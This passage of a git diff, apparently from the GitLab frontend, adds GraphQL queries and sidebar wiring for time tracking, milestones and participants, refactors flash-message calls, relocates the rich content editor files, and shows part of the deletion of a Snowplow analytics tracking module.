+import projectMilestonesQuery from './queries/project_milestones.query.graphql';
export const ASSIGNEES_DEBOUNCE_DELAY = 250;
@@ -40,6 +47,10 @@ export const assigneesQueries = {
query: getMergeRequestAssignees,
mutation: updateMergeRequestAssigneesMutation,
},
+ [IssuableType.Alert]: {
+ query: getAlertAssignees,
+ mutation: updateAlertAssigneesMutation,
+ },
};
export const participantsQueries = {
@@ -52,6 +63,10 @@ export const participantsQueries = {
[IssuableType.Epic]: {
query: epicParticipantsQuery,
},
+ [IssuableType.Alert]: {
+ query: '',
+ skipQuery: true,
+ },
};
export const confidentialityQueries = {
@@ -107,6 +122,15 @@ export const subscribedQueries = {
},
};
+export const timeTrackingQueries = {
+ [IssuableType.Issue]: {
+ query: issueTimeTrackingQuery,
+ },
+ [IssuableType.MergeRequest]: {
+ query: mergeRequestTimeTrackingQuery,
+ },
+};
+
export const dueDateQueries = {
[IssuableType.Issue]: {
query: issueDueDateQuery,
@@ -133,3 +157,33 @@ export const timelogQueries = {
query: getMrTimelogsQuery,
},
};
+
+export const noAttributeId = null;
+
+export const issuableMilestoneQueries = {
+ [IssuableType.Issue]: {
+ query: projectIssueMilestoneQuery,
+ mutation: projectIssueMilestoneMutation,
+ },
+};
+
+export const milestonesQueries = {
+ [IssuableType.Issue]: {
+ query: projectMilestonesQuery,
+ },
+};
+
+export const IssuableAttributeType = {
+ Milestone: 'milestone',
+};
+
+export const IssuableAttributeState = {
+ [IssuableAttributeType.Milestone]: 'active',
+};
+
+export const issuableAttributesQueries = {
+ [IssuableAttributeType.Milestone]: {
+ current: issuableMilestoneQueries,
+ list: milestonesQueries,
+ },
+};
diff --git a/app/assets/javascripts/sidebar/graphql.js b/app/assets/javascripts/sidebar/graphql.js
index 8615b52f1b8..1a806a051b7 100644
--- a/app/assets/javascripts/sidebar/graphql.js
+++ b/app/assets/javascripts/sidebar/graphql.js
@@ -1,5 +1,7 @@
import { IntrospectionFragmentMatcher } from 'apollo-cache-inmemory';
+import produce from 'immer';
import VueApollo from 'vue-apollo';
+import getIssueStateQuery from '~/issue_show/queries/get_issue_state.query.graphql';
import createDefaultClient from '~/lib/graphql';
import introspectionQueryResultData from './fragmentTypes.json';
@@ -7,15 +9,24 @@ const fragmentMatcher = new IntrospectionFragmentMatcher({
introspectionQueryResultData,
});
-export const defaultClient = createDefaultClient(
- {},
- {
- cacheConfig: {
- fragmentMatcher,
+const resolvers = {
+ Mutation: {
+ updateIssueState: (_, { issueType = undefined, isDirty = false }, { cache }) => {
+ const sourceData = cache.readQuery({ query: getIssueStateQuery });
+ const data = produce(sourceData, (draftData) => {
+ draftData.issueState = { issueType, isDirty };
+ });
+ cache.writeQuery({ query: getIssueStateQuery, data });
},
- assumeImmutableResults: true,
},
-);
+};
+
+export const defaultClient = createDefaultClient(resolvers, {
+ cacheConfig: {
+ fragmentMatcher,
+ },
+ assumeImmutableResults: true,
+});
export const apolloProvider = new VueApollo({
defaultClient,
diff --git a/app/assets/javascripts/sidebar/mount_milestone_sidebar.js b/app/assets/javascripts/sidebar/mount_milestone_sidebar.js
index b11c8f76a6d..270b22fcdf9 100644
--- a/app/assets/javascripts/sidebar/mount_milestone_sidebar.js
+++ b/app/assets/javascripts/sidebar/mount_milestone_sidebar.js
@@ -1,4 +1,5 @@
import Vue from 'vue';
+import { IssuableType } from '~/issue_show/constants';
import { parseBoolean } from '~/lib/utils/common_utils';
import timeTracker from './components/time_tracking/time_tracker.vue';
@@ -8,7 +9,14 @@ export default class SidebarMilestone {
if (!el) return;
- const { timeEstimate, timeSpent, humanTimeEstimate, humanTimeSpent, limitToHours } = el.dataset;
+ const {
+ timeEstimate,
+ timeSpent,
+ humanTimeEstimate,
+ humanTimeSpent,
+ limitToHours,
+ iid,
+ } = el.dataset;
// eslint-disable-next-line no-new
new Vue({
@@ -16,14 +24,20 @@ export default class SidebarMilestone {
components: {
timeTracker,
},
+ provide: {
+ issuableType: IssuableType.Milestone,
+ },
render: (createElement) =>
createElement('timeTracker', {
props: {
- timeEstimate: parseInt(timeEstimate, 10),
- timeSpent: parseInt(timeSpent, 10),
- humanTimeEstimate,
- humanTimeSpent,
limitToHours: parseBoolean(limitToHours),
+ issuableIid: iid.toString(),
+ initialTimeTracking: {
+ timeEstimate: parseInt(timeEstimate, 10),
+ totalTimeSpent: parseInt(timeSpent, 10),
+ humanTimeEstimate,
+ humanTotalTimeSpent: humanTimeSpent,
+ },
},
}),
});
diff --git a/app/assets/javascripts/sidebar/mount_sidebar.js b/app/assets/javascripts/sidebar/mount_sidebar.js
index 3f24fdc75dc..f53760eab93 100644
--- a/app/assets/javascripts/sidebar/mount_sidebar.js
+++ b/app/assets/javascripts/sidebar/mount_sidebar.js
@@ -2,6 +2,8 @@ import $ from 'jquery';
import Vue from 'vue';
import VueApollo from 'vue-apollo';
import createFlash from '~/flash';
+import initInviteMembersModal from '~/invite_members/init_invite_members_modal';
+import initInviteMembersTrigger from '~/invite_members/init_invite_members_trigger';
import { IssuableType } from '~/issue_show/constants';
import {
isInIssuePage,
@@ -14,14 +16,15 @@ import CollapsedAssigneeList from '~/sidebar/components/assignees/collapsed_assi
import SidebarAssigneesWidget from '~/sidebar/components/assignees/sidebar_assignees_widget.vue';
import SidebarConfidentialityWidget from '~/sidebar/components/confidential/sidebar_confidentiality_widget.vue';
import SidebarDueDateWidget from '~/sidebar/components/date/sidebar_date_widget.vue';
+import SidebarParticipantsWidget from '~/sidebar/components/participants/sidebar_participants_widget.vue';
import SidebarReferenceWidget from '~/sidebar/components/reference/sidebar_reference_widget.vue';
import { apolloProvider } from '~/sidebar/graphql';
+import trackShowInviteMemberLink from '~/sidebar/track_invite_members';
import Translate from '../vue_shared/translate';
import SidebarAssignees from './components/assignees/sidebar_assignees.vue';
import CopyEmailToClipboard from './components/copy_email_to_clipboard.vue';
import SidebarLabels from './components/labels/sidebar_labels.vue';
import IssuableLockForm from './components/lock/issuable_lock_form.vue';
-import sidebarParticipants from './components/participants/sidebar_participants.vue';
import SidebarReviewers from './components/reviewers/sidebar_reviewers.vue';
import SidebarSeverity from './components/severity/sidebar_severity.vue';
import SidebarSubscriptionsWidget from './components/subscriptions/sidebar_subscriptions_widget.vue';
@@ -123,6 +126,12 @@ function mountAssigneesComponent() {
},
}),
});
+
+ const assigneeDropdown = document.querySelector('.js-sidebar-assignee-dropdown');
+
+ if (assigneeDropdown) {
+ trackShowInviteMemberLink(assigneeDropdown);
+ }
}
function mountReviewersComponent(mediator) {
@@ -149,6 +158,12 @@ function mountReviewersComponent(mediator) {
},
}),
});
+
+ const reviewerDropdown = document.querySelector('.js-sidebar-reviewer-dropdown');
+
+ if (reviewerDropdown) {
+ trackShowInviteMemberLink(reviewerDropdown);
+ }
}
export function mountSidebarLabels() {
@@ -191,6 +206,7 @@ function mountConfidentialComponent() {
},
provide: {
canUpdate: initialData.is_editable,
+ isClassicSidebar: true,
},
render: (createElement) =>
@@ -314,21 +330,29 @@ function mountLockComponent() {
});
}
-function mountParticipantsComponent(mediator) {
+function mountParticipantsComponent() {
const el = document.querySelector('.js-sidebar-participants-entry-point');
if (!el) return;
+ const { fullPath, iid } = getSidebarOptions();
+
// eslint-disable-next-line no-new
new Vue({
el,
+ apolloProvider,
components: {
- sidebarParticipants,
+ SidebarParticipantsWidget,
},
render: (createElement) =>
- createElement('sidebar-participants', {
+ createElement('sidebar-participants-widget', {
props: {
- mediator,
+ iid: String(iid),
+ fullPath,
+ issuableType:
+ isInIssuePage() || isInIncidentPage() || isInDesignPage()
+ ? IssuableType.Issue
+ : IssuableType.MergeRequest,
},
}),
});
@@ -367,7 +391,7 @@ function mountSubscriptionsComponent() {
function mountTimeTrackingComponent() {
const el = document.getElementById('issuable-time-tracker');
- const { id, issuableType } = getSidebarOptions();
+ const { iid, fullPath, issuableType, timeTrackingLimitToHours } = getSidebarOptions();
if (!el) return;
@@ -375,8 +399,15 @@ function mountTimeTrackingComponent() {
new Vue({
el,
apolloProvider,
- provide: { issuableId: id, issuableType },
- render: (createElement) => createElement(SidebarTimeTracking, {}),
+ provide: { issuableType },
+ render: (createElement) =>
+ createElement(SidebarTimeTracking, {
+ props: {
+ fullPath,
+ issuableIid: iid.toString(),
+ limitToHours: timeTrackingLimitToHours,
+ },
+ }),
});
}
@@ -425,6 +456,9 @@ const isAssigneesWidgetShown =
(isInIssuePage() || isInDesignPage()) && gon.features.issueAssigneesWidget;
export function mountSidebar(mediator) {
+ initInviteMembersModal();
+ initInviteMembersTrigger();
+
if (isAssigneesWidgetShown) {
mountAssigneesComponent();
} else {
@@ -435,7 +469,7 @@ export function mountSidebar(mediator) {
mountDueDateComponent(mediator);
mountReferenceComponent(mediator);
mountLockComponent();
- mountParticipantsComponent(mediator);
+ mountParticipantsComponent();
mountSubscriptionsComponent();
mountCopyEmailComponent();
diff --git a/app/assets/javascripts/sidebar/queries/issue_time_tracking.query.graphql b/app/assets/javascripts/sidebar/queries/issue_time_tracking.query.graphql
new file mode 100644
index 00000000000..7ac989b5c63
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/issue_time_tracking.query.graphql
@@ -0,0 +1,13 @@
+query issueTimeTracking($fullPath: ID!, $iid: String) {
+ workspace: project(fullPath: $fullPath) {
+ __typename
+ issuable: issue(iid: $iid) {
+ __typename
+ id
+ humanTimeEstimate
+ humanTotalTimeSpent
+ timeEstimate
+ totalTimeSpent
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/merge_request_time_tracking.query.graphql b/app/assets/javascripts/sidebar/queries/merge_request_time_tracking.query.graphql
new file mode 100644
index 00000000000..b1ab1bcbe87
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/merge_request_time_tracking.query.graphql
@@ -0,0 +1,13 @@
+query mergeRequestTimeTracking($fullPath: ID!, $iid: String!) {
+ workspace: project(fullPath: $fullPath) {
+ __typename
+ issuable: mergeRequest(iid: $iid) {
+ __typename
+ id
+ humanTimeEstimate
+ humanTotalTimeSpent
+ timeEstimate
+ totalTimeSpent
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/milestone.fragment.graphql b/app/assets/javascripts/sidebar/queries/milestone.fragment.graphql
new file mode 100644
index 00000000000..8db5359dac0
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/milestone.fragment.graphql
@@ -0,0 +1,5 @@
+fragment MilestoneFragment on Milestone {
+ id
+ title
+ webUrl: webPath
+}
diff --git a/app/assets/javascripts/sidebar/queries/project_issue_milestone.mutation.graphql b/app/assets/javascripts/sidebar/queries/project_issue_milestone.mutation.graphql
new file mode 100644
index 00000000000..d88ad8b1087
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/project_issue_milestone.mutation.graphql
@@ -0,0 +1,17 @@
+mutation projectIssueMilestoneMutation($fullPath: ID!, $iid: String!, $attributeId: ID) {
+ issuableSetAttribute: updateIssue(
+ input: { projectPath: $fullPath, iid: $iid, milestoneId: $attributeId }
+ ) {
+ __typename
+ errors
+ issuable: issue {
+ __typename
+ id
+ attribute: milestone {
+ title
+ id
+ state
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/project_issue_milestone.query.graphql b/app/assets/javascripts/sidebar/queries/project_issue_milestone.query.graphql
new file mode 100644
index 00000000000..2bc42a0b011
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/project_issue_milestone.query.graphql
@@ -0,0 +1,14 @@
+#import "./milestone.fragment.graphql"
+
+query projectIssueMilestone($fullPath: ID!, $iid: String!) {
+ workspace: project(fullPath: $fullPath) {
+ __typename
+ issuable: issue(iid: $iid) {
+ __typename
+ id
+ attribute: milestone {
+ ...MilestoneFragment
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql b/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql
new file mode 100644
index 00000000000..1237640c468
--- /dev/null
+++ b/app/assets/javascripts/sidebar/queries/project_milestones.query.graphql
@@ -0,0 +1,13 @@
+#import "./milestone.fragment.graphql"
+
+query projectMilestones($fullPath: ID!, $title: String, $state: MilestoneStateEnum) {
+ workspace: project(fullPath: $fullPath) {
+ __typename
+ attributes: milestones(searchTitle: $title, state: $state) {
+ nodes {
+ ...MilestoneFragment
+ state
+ }
+ }
+ }
+}
diff --git a/app/assets/javascripts/sidebar/track_invite_members.js b/app/assets/javascripts/sidebar/track_invite_members.js
new file mode 100644
index 00000000000..eab15578f0f
--- /dev/null
+++ b/app/assets/javascripts/sidebar/track_invite_members.js
@@ -0,0 +1,12 @@
+import $ from 'jquery';
+import Tracking from '~/tracking';
+
+export default function initTrackInviteMembers(userDropdown) {
+ const { trackEvent, trackLabel } = userDropdown.querySelector('.js-invite-members-track').dataset;
+
+ $(userDropdown).on('shown.bs.dropdown', () => {
+ Tracking.event(undefined, trackEvent, {
+ label: trackLabel,
+ });
+ });
+}
diff --git a/app/assets/javascripts/single_file_diff.js b/app/assets/javascripts/single_file_diff.js
index 2c4928fc338..d2841156e55 100644
--- a/app/assets/javascripts/single_file_diff.js
+++ b/app/assets/javascripts/single_file_diff.js
@@ -3,7 +3,7 @@
import $ from 'jquery';
import { spriteIcon } from '~/lib/utils/common_utils';
import FilesCommentButton from './files_comment_button';
-import { deprecatedCreateFlash as createFlash } from './flash';
+import createFlash from './flash';
import initImageDiffHelper from './image_diff/helpers/init_image_diff';
import axios from './lib/utils/axios_utils';
import { __ } from './locale';
@@ -95,7 +95,9 @@ export default class SingleFileDiff {
if (cb) cb();
})
.catch(() => {
- createFlash(__('An error occurred while retrieving diff'));
+ createFlash({
+ message: __('An error occurred while retrieving diff'),
+ });
});
}
}
diff --git a/app/assets/javascripts/snippets/components/snippet_blob_edit.vue b/app/assets/javascripts/snippets/components/snippet_blob_edit.vue
index 4fb27397039..612b4c7d2e3 100644
--- a/app/assets/javascripts/snippets/components/snippet_blob_edit.vue
+++ b/app/assets/javascripts/snippets/components/snippet_blob_edit.vue
@@ -1,7 +1,7 @@
<script>
import { GlLoadingIcon } from '@gitlab/ui';
import BlobHeaderEdit from '~/blob/components/blob_edit_header.vue';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { getBaseURL, joinPaths } from '~/lib/utils/url_utility';
import { sprintf } from '~/locale';
@@ -63,7 +63,7 @@ export default {
.catch((e) => this.flashAPIFailure(e));
},
flashAPIFailure(err) {
- Flash(sprintf(SNIPPET_BLOB_CONTENT_FETCH_ERROR, { err }));
+ createFlash({ message: sprintf(SNIPPET_BLOB_CONTENT_FETCH_ERROR, { err }) });
},
},
};
diff --git a/app/assets/javascripts/static_site_editor/components/edit_area.vue b/app/assets/javascripts/static_site_editor/components/edit_area.vue
index a51a4f9f604..ea775eff358 100644
--- a/app/assets/javascripts/static_site_editor/components/edit_area.vue
+++ b/app/assets/javascripts/static_site_editor/components/edit_area.vue
@@ -1,7 +1,7 @@
<script>
+import { EDITOR_TYPES } from '~/static_site_editor/rich_content_editor/constants';
+import RichContentEditor from '~/static_site_editor/rich_content_editor/rich_content_editor.vue';
import parseSourceFile from '~/static_site_editor/services/parse_source_file';
-import { EDITOR_TYPES } from '~/vue_shared/components/rich_content_editor/constants';
-import RichContentEditor from '~/vue_shared/components/rich_content_editor/rich_content_editor.vue';
import imageRepository from '../image_repository';
import formatter from '../services/formatter';
import renderImage from '../services/renderers/render_image';
diff --git a/app/assets/javascripts/static_site_editor/pages/home.vue b/app/assets/javascripts/static_site_editor/pages/home.vue
index 49a2ca03ace..beec1b515ad 100644
--- a/app/assets/javascripts/static_site_editor/pages/home.vue
+++ b/app/assets/javascripts/static_site_editor/pages/home.vue
@@ -1,5 +1,5 @@
<script>
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import Tracking from '~/tracking';
import EditArea from '../components/edit_area.vue';
@@ -45,7 +45,9 @@ export default {
return !this.appData.isSupportedContent;
},
error() {
- createFlash(LOAD_CONTENT_ERROR);
+ createFlash({
+ message: LOAD_CONTENT_ERROR,
+ });
},
},
},
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/constants.js b/app/assets/javascripts/static_site_editor/rich_content_editor/constants.js
index cbb30baa488..cbb30baa488 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/constants.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/constants.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal.vue b/app/assets/javascripts/static_site_editor/rich_content_editor/modals/add_image/add_image_modal.vue
index 82060d2e4ad..82060d2e4ad 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal.vue
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/modals/add_image/add_image_modal.vue
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/modals/add_image/upload_image_tab.vue b/app/assets/javascripts/static_site_editor/rich_content_editor/modals/add_image/upload_image_tab.vue
index 9baa7f286d7..9baa7f286d7 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/modals/add_image/upload_image_tab.vue
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/modals/add_image/upload_image_tab.vue
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/modals/insert_video_modal.vue b/app/assets/javascripts/static_site_editor/rich_content_editor/modals/insert_video_modal.vue
index 99bb2080610..99bb2080610 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/modals/insert_video_modal.vue
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/modals/insert_video_modal.vue
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/rich_content_editor.vue b/app/assets/javascripts/static_site_editor/rich_content_editor/rich_content_editor.vue
index 8988dab85d2..8988dab85d2 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/rich_content_editor.vue
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/rich_content_editor.vue
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_custom_renderer.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/build_custom_renderer.js
index 6ffd280e005..6ffd280e005 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_custom_renderer.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/build_custom_renderer.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer.js
index 273e0a59963..273e0a59963 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/editor_service.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/editor_service.js
index 026a4069d9b..026a4069d9b 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/editor_service.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/editor_service.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token.js
index 638e5fd6f60..638e5fd6f60 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_attribute_definition.js
index bd419447a48..bd419447a48 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_attribute_definition.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_embedded_ruby_text.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_embedded_ruby_text.js
index 0e122f598e5..0e122f598e5 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_embedded_ruby_text.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_embedded_ruby_text.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_font_awesome_html_inline.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_font_awesome_html_inline.js
index 572f6e3cf9d..572f6e3cf9d 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_font_awesome_html_inline.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_font_awesome_html_inline.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_heading.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_heading.js
index 71026fd0d65..71026fd0d65 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_heading.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_heading.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_html_block.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_html_block.js
index 710b807275b..710b807275b 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_html_block.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_html_block.js
diff --git a/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_identifier_instance_text.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_identifier_instance_text.js
new file mode 100644
index 00000000000..d770dd18d7f
--- /dev/null
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_identifier_instance_text.js
@@ -0,0 +1,40 @@
+import { buildTextToken, buildUneditableInlineTokens } from './build_uneditable_token';
+
+/*
+Use case examples:
+- Majority: two bracket pairs, back-to-back, each with content (including spaces)
+ - `[environment terraform plans][terraform]`
+ - `[an issue labelled `~"main:broken"`][broken-main-issues]`
+- Minority: two bracket pairs the latter being empty or only one pair with content (including spaces)
+ - `[this link][]`
+ - `[this link]`
+
+Regexp notes:
+ - `(?:\[.+?\]){1}`: Always one bracket pair with content (including spaces)
+ - `(?:\[\]|\[.+?\])?`: Optional second pair that may or may not contain content (including spaces)
+ - `(?!:)`: Never followed by a `:` which is reserved for identifier definition syntax (`[identifier]: /the-link`)
+ - Each of the three parts is non-captured, but the match as a whole is captured
+*/
+const identifierInstanceRegex = /((?:\[.+?\]){1}(?:\[\]|\[.+?\])?(?!:))/g;
+
+const isIdentifierInstance = (literal) => {
+ // Reset lastIndex as global flag in regexp are stateful (https://stackoverflow.com/a/11477448)
+ identifierInstanceRegex.lastIndex = 0;
+ return identifierInstanceRegex.test(literal);
+};
+
+const canRender = ({ literal }) => isIdentifierInstance(literal);
+
+const tokenize = (text) => {
+ const matches = text.split(identifierInstanceRegex);
+ const tokens = matches.map((match) => {
+ const token = buildTextToken(match);
+ return isIdentifierInstance(match) ? buildUneditableInlineTokens(token) : token;
+ });
+
+ return tokens.flat();
+};
+
+const render = (_, { origin }) => tokenize(origin().content);
+
+export default { canRender, render };
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_identifier_paragraph.js
index 4829f0f2243..4829f0f2243 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_identifier_paragraph.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_list_item.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_list_item.js
index 71026fd0d65..71026fd0d65 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_list_item.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_list_item.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_softbreak.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_softbreak.js
index c004e839821..c004e839821 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_softbreak.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_softbreak.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_utils.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_utils.js
index eff5dbf59f2..eff5dbf59f2 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_utils.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_utils.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/sanitize_html.js b/app/assets/javascripts/static_site_editor/rich_content_editor/services/sanitize_html.js
index 486d88466b7..486d88466b7 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/services/sanitize_html.js
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/services/sanitize_html.js
diff --git a/app/assets/javascripts/vue_shared/components/rich_content_editor/toolbar_item.vue b/app/assets/javascripts/static_site_editor/rich_content_editor/toolbar_item.vue
index 85a67c087bb..85a67c087bb 100644
--- a/app/assets/javascripts/vue_shared/components/rich_content_editor/toolbar_item.vue
+++ b/app/assets/javascripts/static_site_editor/rich_content_editor/toolbar_item.vue
diff --git a/app/assets/javascripts/tracking.js b/app/assets/javascripts/tracking.js
deleted file mode 100644
index d2e69bc06cf..00000000000
--- a/app/assets/javascripts/tracking.js
+++ /dev/null
@@ -1,219 +0,0 @@
-import { omitBy, isUndefined } from 'lodash';
-import { TRACKING_CONTEXT_SCHEMA } from '~/experimentation/constants';
-import { getExperimentData } from '~/experimentation/utils';
-
-const standardContext = { ...window.gl?.snowplowStandardContext };
-
-export const STANDARD_CONTEXT = {
- schema: standardContext.schema,
- data: {
- ...(standardContext.data || {}),
- source: 'gitlab-javascript',
- },
-};
-
-const DEFAULT_SNOWPLOW_OPTIONS = {
- namespace: 'gl',
- hostname: window.location.hostname,
- cookieDomain: window.location.hostname,
- appId: '',
- userFingerprint: false,
- respectDoNotTrack: true,
- forceSecureTracker: true,
- eventMethod: 'post',
- contexts: { webPage: true, performanceTiming: true },
- formTracking: false,
- linkClickTracking: false,
- pageUnloadTimer: 10,
-};
-
-const addExperimentContext = (opts) => {
- const { experiment, ...options } = opts;
- if (experiment) {
- const data = getExperimentData(experiment);
- if (data) {
- const context = { schema: TRACKING_CONTEXT_SCHEMA, data };
- return { ...options, context };
- }
- }
- return options;
-};
-
-const createEventPayload = (el, { suffix = '' } = {}) => {
- const action = (el.dataset.trackAction || el.dataset.trackEvent) + (suffix || '');
- let value = el.dataset.trackValue || el.value || undefined;
- if (el.type === 'checkbox' && !el.checked) value = false;
-
- const context = addExperimentContext({
- experiment: el.dataset.trackExperiment,
- context: el.dataset.trackContext,
- });
-
- const data = {
- label: el.dataset.trackLabel,
- property: el.dataset.trackProperty,
- value,
- ...context,
- };
-
- return {
- action,
- data: omitBy(data, isUndefined),
- };
-};
-
-const eventHandler = (e, func, opts = {}) => {
- const el = e.target.closest('[data-track-event], [data-track-action]');
-
- if (!el) return;
-
- const { action, data } = createEventPayload(el, opts);
- func(opts.category, action, data);
-};
-
-const eventHandlers = (category, func) => {
- const handler = (opts) => (e) => eventHandler(e, func, { ...{ category }, ...opts });
- const handlers = [];
- handlers.push({ name: 'click', func: handler() });
- handlers.push({ name: 'show.bs.dropdown', func: handler({ suffix: '_show' }) });
- handlers.push({ name: 'hide.bs.dropdown', func: handler({ suffix: '_hide' }) });
- return handlers;
-};
-
-const dispatchEvent = (category = document.body.dataset.page, action = 'generic', data = {}) => {
- // eslint-disable-next-line @gitlab/require-i18n-strings
- if (!category) throw new Error('Tracking: no category provided for tracking.');
-
- const { label, property, value } = data;
- const contexts = [STANDARD_CONTEXT];
-
- if (data.context) {
- contexts.push(data.context);
- }
-
- return window.snowplow('trackStructEvent', category, action, label, property, value, contexts);
-};
-
-export default class Tracking {
- static queuedEvents = [];
- static initialized = false;
-
- static trackable() {
- return !['1', 'yes'].includes(
- window.doNotTrack || navigator.doNotTrack || navigator.msDoNotTrack,
- );
- }
-
- static flushPendingEvents() {
- this.initialized = true;
-
- while (this.queuedEvents.length) {
- dispatchEvent(...this.queuedEvents.shift());
- }
- }
-
- static enabled() {
- return typeof window.snowplow === 'function' && this.trackable();
- }
-
- static event(...eventData) {
- if (!this.enabled()) return false;
-
- if (!this.initialized) {
- this.queuedEvents.push(eventData);
- return false;
- }
-
- return dispatchEvent(...eventData);
- }
-
- static bindDocument(category = document.body.dataset.page, parent = document) {
- if (!this.enabled() || parent.trackingBound) return [];
-
- // eslint-disable-next-line no-param-reassign
- parent.trackingBound = true;
-
- const handlers = eventHandlers(category, (...args) => this.event(...args));
- handlers.forEach((event) => parent.addEventListener(event.name, event.func));
- return handlers;
- }
-
- static trackLoadEvents(category = document.body.dataset.page, parent = document) {
- if (!this.enabled()) return [];
-
- const loadEvents = parent.querySelectorAll(
- '[data-track-action="render"], [data-track-event="render"]',
- );
-
- loadEvents.forEach((element) => {
- const { action, data } = createEventPayload(element);
- this.event(category, action, data);
- });
-
- return loadEvents;
- }
-
- static enableFormTracking(config, contexts = []) {
- if (!this.enabled()) return;
-
- if (!config?.forms?.whitelist?.length && !config?.fields?.whitelist?.length) {
- // eslint-disable-next-line @gitlab/require-i18n-strings
